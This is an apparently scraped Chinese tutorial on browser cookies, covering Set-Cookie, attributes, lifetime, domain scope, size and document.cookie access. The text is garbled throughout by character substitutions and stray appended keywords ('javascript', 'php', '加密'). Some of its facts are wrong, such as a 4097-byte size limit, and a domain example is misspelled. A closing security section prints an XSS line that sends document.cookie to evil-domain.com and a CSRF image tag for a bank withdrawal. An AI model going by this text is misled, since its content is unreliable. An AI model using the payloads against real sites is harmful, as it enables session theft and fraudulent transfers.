前端存储 (1) -- Cookie

目录

  • 建立
  • 组成
  • 生命周期
  • 做用域
  • 存储大小

建立Cookie

当服务器收到HTTP请求时,服务器能够在响应头里面添加一个Set-Cookie选项。
浏览器收到响应后一般会保存下Cookie,
以后对该服务器每一次请求中都经过Cookie请求头部将Cookie信息发送给服务器。
另外,Cookie的过时时间、域、路径、有效期、适用站点均可以根据须要来指定。javascript

服务器使用Set-Cookie响应头部向用户代理(通常是浏览器)发送Cookie信息。一个简单的Cookie可能像这样:php

Set-Cookie: <cookie名>=<cookie值>
  response.setHeader('Set-Cookie', ['type=ninja','username=123qad', 'language=javascript']);

组成

  • Name
  • Value
  • Domain
  • Path
  • Expires/ Max-Age 过时时间
  • Size
  • Http
  • Secure 是否加密,标记为Secure 只会经过 htpps 协议传输, http 是不能设置的
  • SameSite

组成java

生命周期

默认是浏览器关闭就清掉, 通常会设置 指定过时时间(Expires)或者有效期(Max-Age)
须要注意的是,有些浏览器提供了会话恢复功能,这种状况下即便关闭了浏览器,会话期Cookie也会被保留下来,就好像浏览器历来没有关闭同样。浏览器

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

做用域

Domain (域名)和 Path 标识定义了Cookie的做用域:即Cookie应该发送给哪些URL。安全

Cookie 的Domain 属性能够设置 Cookie 发送哪些 url,默认是在当前域名下,但有时候咱们可能几个站点想共享Cookie 信息
比方 qq空间(qq.tentxun.com)登录了,我想点进 qq 邮箱(mail.tenxun.com), 那要是再登录一次,用户爸爸确定受不了,因此经过设置
cookie 的 domain 为 ".tenxun.com",从 qq空间点击连接 进入 qq 邮箱, qq邮箱 经过 cookie 信息,获取用户信息,就能够不用再次登录了服务器

若是设置 Domain=mozilla.org,则Cookie也包含在子域名中(如developer.mozilla.org)。cookie

存储大小

4097个字节, 多了浏览器会默默删掉dom

javascript 访问 Cookie

var cookie = document.cookie;
 document.cookie = "username=tt";

安全问题

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;加密

<img src="http://bank.example.com/withd...;amount=1000000&for=mallory">url

相关文章
相关标签/搜索